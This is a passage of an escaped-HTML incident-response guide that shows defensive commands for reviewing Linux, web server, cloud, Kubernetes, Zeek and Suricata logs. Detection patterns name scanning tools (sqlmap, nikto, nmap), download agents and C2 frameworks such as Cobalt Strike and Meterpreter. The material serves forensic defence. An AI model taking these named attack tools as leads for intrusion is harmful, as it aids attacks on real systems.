&lt;th&gt;What It Contains&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;auth.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/log/auth.log&lt;/code&gt; (Debian/Ubuntu)&lt;/td&gt;
&lt;td&gt;SSH logins, sudo usage, PAM events&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;secure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/log/secure&lt;/code&gt; (RHEL/CentOS/Amazon Linux)&lt;/td&gt;
&lt;td&gt;Same as auth.log for RPM-based distros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;syslog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/syslog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;General system messages, daemon activity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;kern.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/kern.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kernel events, unusual driver/module loads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wtmp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/wtmp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Binary log of all logins/logouts (read with &lt;code&gt;last&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;btmp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/btmp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Binary log of failed logins (read with &lt;code&gt;lastb&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lastlog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/lastlog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Most recent login per user (read with &lt;code&gt;lastlog&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;audit.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/audit/audit.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System call auditing (if &lt;code&gt;auditd&lt;/code&gt; is enabled)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Using &lt;code&gt;journalctl&lt;/code&gt; (systemd-based systems):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Show all logs from the past 24 hours&lt;/span&gt;
journalctl &lt;span class="nt"&gt;--since&lt;/span&gt; &lt;span class="s2"&gt;"24 hours ago"&lt;/span&gt;

&lt;span class="c"&gt;# Show SSH service logs within a date range&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh &lt;span class="nt"&gt;--since&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-01"&lt;/span&gt; &lt;span class="nt"&gt;--until&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-07"&lt;/span&gt;

&lt;span class="c"&gt;# Show logs for a specific process ID&lt;/span&gt;
journalctl &lt;span class="nv"&gt;_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1234

&lt;span class="c"&gt;# Show kernel messages only&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-k&lt;/span&gt;

&lt;span class="c"&gt;# Follow logs in real time&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-f&lt;/span&gt;

&lt;span class="c"&gt;# Show logs at warning priority or higher&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-p&lt;/span&gt; warning
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Web Server Logs
&lt;/h3&gt;

&lt;p&gt;Web servers are frequent entry points via exploited applications, LFI, RFI, SQL injection, or webshells.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nginx:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Default access log&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/nginx/access.log

&lt;span class="c"&gt;# Look for POST requests to unusual paths (webshell access)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt; /var/log/nginx/access.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"api&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;login&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;upload"&lt;/span&gt;

&lt;span class="c"&gt;# Look for scanning patterns (many 404s from one IP)&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; /var/log/nginx/access.log | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Look for unusual user agents&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"sqlmap&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;nikto&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;nmap&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;masscan&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;python-requests&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;zgrab"&lt;/span&gt; /var/log/nginx/access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Apache:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apache access log&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/apache2/access.log

&lt;span class="c"&gt;# HTTP status code distribution — many 200s on unusual paths = webshell hits&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/apache2/access.log | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $9}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Cloud Audit Logs
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;AWS CloudTrail:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find console login events&lt;/span&gt;
aws cloudtrail lookup-events &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EventName,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;ConsoleLogin &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--start-time&lt;/span&gt; 2024-01-01T00:00:00Z &lt;span class="nt"&gt;--end-time&lt;/span&gt; 2024-01-07T00:00:00Z

&lt;span class="c"&gt;# Look for root account usage (always suspicious)&lt;/span&gt;
aws cloudtrail lookup-events &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Username,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;root

&lt;span class="c"&gt;# Look for IAM user creation&lt;/span&gt;
aws cloudtrail lookup-events &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EventName,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;CreateUser

&lt;span class="c"&gt;# Look for security group rule additions (attacker opening ports)&lt;/span&gt;
aws cloudtrail lookup-events &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EventName,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;AuthorizeSecurityGroupIngress
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;GCP Audit Logs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View admin activity logs&lt;/span&gt;
gcloud logging &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--limit&lt;/span&gt; 100 &lt;span class="nt"&gt;--format&lt;/span&gt; json

&lt;span class="c"&gt;# Filter for IAM policy changes&lt;/span&gt;
gcloud logging &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="s1"&gt;'protoPayload.methodName="SetIamPolicy"'&lt;/span&gt; &lt;span class="nt"&gt;--limit&lt;/span&gt; 50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Azure Monitor:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Query for role assignment changes&lt;/span&gt;
az monitor activity-log list &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--start-time&lt;/span&gt; 2024-01-01T00:00:00Z &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--end-time&lt;/span&gt; 2024-01-07T00:00:00Z &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"[?authorization.action=='Microsoft.Authorization/roleAssignments/write']"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 Firewall and WAF Logs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# iptables — view current rules with byte counts&lt;/span&gt;
iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# View recent iptables drops (if DROP logging is enabled)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"iptables"&lt;/span&gt; /var/log/syslog | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;

&lt;span class="c"&gt;# UFW logs&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"UFW"&lt;/span&gt; /var/log/ufw.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"BLOCK"&lt;/span&gt; | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;

&lt;span class="c"&gt;# fail2ban — view currently banned IPs&lt;/span&gt;
fail2ban-client status sshd

&lt;span class="c"&gt;# See all bans across all jails&lt;/span&gt;
fail2ban-client status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.5 Container and Kubernetes Logs
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1610/" rel="noopener noreferrer"&gt;T1610 — Deploy Container&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1613/" rel="noopener noreferrer"&gt;T1613 — Container and Resource Discovery&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Docker — view container logs&lt;/span&gt;
docker logs &amp;lt;container_id&amp;gt; &lt;span class="nt"&gt;--tail&lt;/span&gt; 200 &lt;span class="nt"&gt;--follow&lt;/span&gt;

&lt;span class="c"&gt;# Inspect a running container's processes&lt;/span&gt;
docker top &amp;lt;container_id&amp;gt;

&lt;span class="c"&gt;# Check for unexpected or recently created containers&lt;/span&gt;
docker ps &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;--format&lt;/span&gt; &lt;span class="s2"&gt;"table {{.ID}}&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;{{.Image}}&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;{{.CreatedAt}}&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;{{.Status}}"&lt;/span&gt;

&lt;span class="c"&gt;# Inspect container for dangerous mounts (host path mounts = escalation risk)&lt;/span&gt;
docker inspect &amp;lt;container_id&amp;gt; | jq &lt;span class="s1"&gt;'.[].HostConfig.Binds'&lt;/span&gt;

&lt;span class="c"&gt;# ── Kubernetes ──────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# View pod logs (including previous crashed pod)&lt;/span&gt;
kubectl logs &amp;lt;pod-name&amp;gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &amp;lt;namespace&amp;gt; &lt;span class="nt"&gt;--previous&lt;/span&gt;

&lt;span class="c"&gt;# View recent events across all namespaces&lt;/span&gt;
kubectl get events &lt;span class="nt"&gt;--all-namespaces&lt;/span&gt; &lt;span class="nt"&gt;--sort-by&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;.metadata.creationTimestamp

&lt;span class="c"&gt;# ── RBAC Enumeration — what can each service account do? ──────────&lt;/span&gt;
&lt;span class="c"&gt;# List all ClusterRoleBindings (look for unexpected admin rights)&lt;/span&gt;
kubectl get clusterrolebindings &lt;span class="nt"&gt;-o&lt;/span&gt; json | &lt;span class="se"&gt;\&lt;/span&gt;
  jq &lt;span class="s1"&gt;'.items[] | select(.roleRef.name=="cluster-admin") | .subjects'&lt;/span&gt;

&lt;span class="c"&gt;# List all service accounts and their bound roles&lt;/span&gt;
kubectl get rolebindings,clusterrolebindings &lt;span class="nt"&gt;--all-namespaces&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; wide

&lt;span class="c"&gt;# Check for service accounts with wildcard permissions (dangerous)&lt;/span&gt;
kubectl auth can-i &lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="nt"&gt;--as&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;system:serviceaccount:&amp;lt;namespace&amp;gt;:&amp;lt;sa-name&amp;gt;

&lt;span class="c"&gt;# ── Service Account Token Exposure ─────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# Check if pods are auto-mounting service account tokens (they shouldn't unless needed)&lt;/span&gt;
kubectl get pods &lt;span class="nt"&gt;--all-namespaces&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; json | &lt;span class="se"&gt;\&lt;/span&gt;
  jq &lt;span class="s1"&gt;'.items[] | select(.spec.automountServiceAccountToken!=false) | 
  {name: .metadata.name, namespace: .metadata.namespace}'&lt;/span&gt;

&lt;span class="c"&gt;# ── Privileged / Host-Access Pods (container escape risk) ──────────&lt;/span&gt;
&lt;span class="c"&gt;# Find privileged pods — these can escape to the host kernel&lt;/span&gt;
kubectl get pods &lt;span class="nt"&gt;--all-namespaces&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; json | &lt;span class="se"&gt;\&lt;/span&gt;
  jq &lt;span class="s1"&gt;'.items[] | select(.spec.containers[].securityContext.privileged==true) | 
  {name: .metadata.name, namespace: .metadata.namespace}'&lt;/span&gt;

&lt;span class="c"&gt;# Find pods with hostPID or hostNetwork (another escape vector)&lt;/span&gt;
kubectl get pods &lt;span class="nt"&gt;--all-namespaces&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; json | &lt;span class="se"&gt;\&lt;/span&gt;
  jq &lt;span class="s1"&gt;'.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) |
  {name: .metadata.name, namespace: .metadata.namespace}'&lt;/span&gt;

&lt;span class="c"&gt;# ── Container Escape Indicators ────────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# If running inside a container, check if you can reach the Docker socket&lt;/span&gt;
&lt;span class="c"&gt;# (presence means container escape may already have occurred)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/run/docker.sock 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARNING: Docker socket mounted"&lt;/span&gt;

&lt;span class="c"&gt;# Check if cgroups indicate container escape (unexpected cgroup namespaces)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/1/cgroup

&lt;span class="c"&gt;# ── Kubernetes Audit Log Analysis ──────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# If audit logging is enabled on the API server, look for:&lt;/span&gt;
&lt;span class="c"&gt;# - Anonymous access attempts&lt;/span&gt;
&lt;span class="c"&gt;# - exec into pods (T1609)&lt;/span&gt;
&lt;span class="c"&gt;# - port-forward commands (lateral movement)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'"verb":"exec"'&lt;/span&gt; /var/log/kubernetes/audit.log | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'"verb":"port-forward"'&lt;/span&gt; /var/log/kubernetes/audit.log | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'"username":"system:anonymous"'&lt;/span&gt; /var/log/kubernetes/audit.log | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.6 EDR and SIEM Queries
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Splunk — parent-child process anomalies (webshell execution)&lt;/span&gt;
&lt;span class="nv"&gt;index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;endpoint | &lt;span class="nb"&gt;eval &lt;/span&gt;&lt;span class="nv"&gt;parent_child&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;parent_process+&lt;span class="s2"&gt;"-"&lt;/span&gt;+process_name
| stats count by parent_child | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-count&lt;/span&gt;

&lt;span class="c"&gt;# Elastic KQL — new privileged users (Windows Event IDs)&lt;/span&gt;
event.code: 4728 OR event.code: 4732

&lt;span class="c"&gt;# Elastic KQL — lateral movement via SMB&lt;/span&gt;
event.action: &lt;span class="s2"&gt;"network_connection"&lt;/span&gt; AND destination.port: 445
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Network-Based Detection
&lt;/h2&gt;

&lt;p&gt;Network telemetry often reveals attacker activity &lt;em&gt;before&lt;/em&gt; host logs do — especially when logs have been tampered with. This section covers the tools and techniques for network-level forensics.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1 Zeek (formerly Bro) Log Analysis
&lt;/h3&gt;

&lt;p&gt;Zeek is a powerful network analysis framework that passively monitors traffic and writes structured logs. On a compromised network, Zeek logs are gold.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Zeek (Ubuntu)&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;zeek &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;span class="c"&gt;# Config: /usr/local/zeek/etc/node.cfg — set interface&lt;/span&gt;

&lt;span class="c"&gt;# Key Zeek log files (default: /var/log/zeek/current/ or /usr/local/zeek/logs/current/)&lt;/span&gt;
&lt;span class="c"&gt;# conn.log     — all network connections (src/dst IP, port, bytes, duration)&lt;/span&gt;
&lt;span class="c"&gt;# dns.log      — all DNS queries and responses&lt;/span&gt;
&lt;span class="c"&gt;# http.log     — HTTP requests (URI, method, user-agent, response codes)&lt;/span&gt;
&lt;span class="c"&gt;# ssl.log      — TLS/SSL connections (SNI, certificate info)&lt;/span&gt;
&lt;span class="c"&gt;# notice.log   — Zeek-generated alerts&lt;/span&gt;
&lt;span class="c"&gt;# weird.log    — protocol anomalies (very useful for C2 detection)&lt;/span&gt;

&lt;span class="c"&gt;# Find long-duration connections (beacon/C2 behaviour)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/conn.log | &lt;span class="se"&gt;\&lt;/span&gt;
  zeek-cut id.orig_h id.resp_h id.resp_p duration | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-k4&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Find unusually large outbound data transfers (exfiltration)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/conn.log | &lt;span class="se"&gt;\&lt;/span&gt;
  zeek-cut id.orig_h id.resp_h resp_bytes | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$3 &amp;gt; 10000000'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-k3&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="c"&gt;# Find DNS queries to high-entropy domains (DGA / C2 beaconing)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/dns.log | &lt;span class="se"&gt;\&lt;/span&gt;
  zeek-cut query | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Find HTTP requests with suspicious user-agents&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/http.log | &lt;span class="se"&gt;\&lt;/span&gt;
  zeek-cut id.orig_h host uri user_agent | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"curl&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;wget&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;python&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;go-http&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;libwww"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Identify connections to Tor exit nodes&lt;/span&gt;
&lt;span class="c"&gt;# (requires enriching with Tor exit node list)&lt;/span&gt;
&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-12&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/conn.log | zeek-cut id.resp_h | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://check.torproject.org/torbulkexitlist | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Suricata IDS Alert Triage
&lt;/h3&gt;

&lt;p&gt;Suricata is an open-source IDS/IPS that writes alerts in EVE JSON format.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Suricata (Ubuntu)&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;suricata &lt;span class="nt"&gt;-y&lt;/span&gt;
suricata-update  &lt;span class="c"&gt;# Pull latest Emerging Threats ruleset&lt;/span&gt;

&lt;span class="c"&gt;# EVE JSON alert log location&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/suricata/eve.json | jq &lt;span class="s1"&gt;'select(.event_type=="alert")'&lt;/span&gt;

&lt;span class="c"&gt;# Find all alerts sorted by severity&lt;/span&gt;
jq &lt;span class="s1"&gt;'select(.event_type=="alert") | {timestamp, src_ip, dest_ip, alert: .alert.signature, severity: .alert.severity}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/suricata/eve.json | less

&lt;span class="c"&gt;# Filter for high-severity alerts only (severity 1)&lt;/span&gt;
jq &lt;span class="s1"&gt;'select(.event_type=="alert" and .alert.severity==1)'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/suricata/eve.json

&lt;span class="c"&gt;# Find C2 beacon alerts&lt;/span&gt;
jq &lt;span class="s1"&gt;'select(.event_type=="alert") | select(.alert.signature | test("C2|beacon|Cobalt|Meterpreter|reverse"))'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/suricata/eve.json

&lt;span class="c"&gt;# Aggregate alerts by signature (find most triggered rules)&lt;/span&gt;
jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'select(.event_type=="alert") | .alert.signature'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/suricata/eve.json | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Find DNS anomalies detected by Suricata&lt;/span&gt;
jq &lt;span class="s1"&gt;'select(.event_type=="dns" and .dns.type=="answer")'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/suricata/eve.json | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
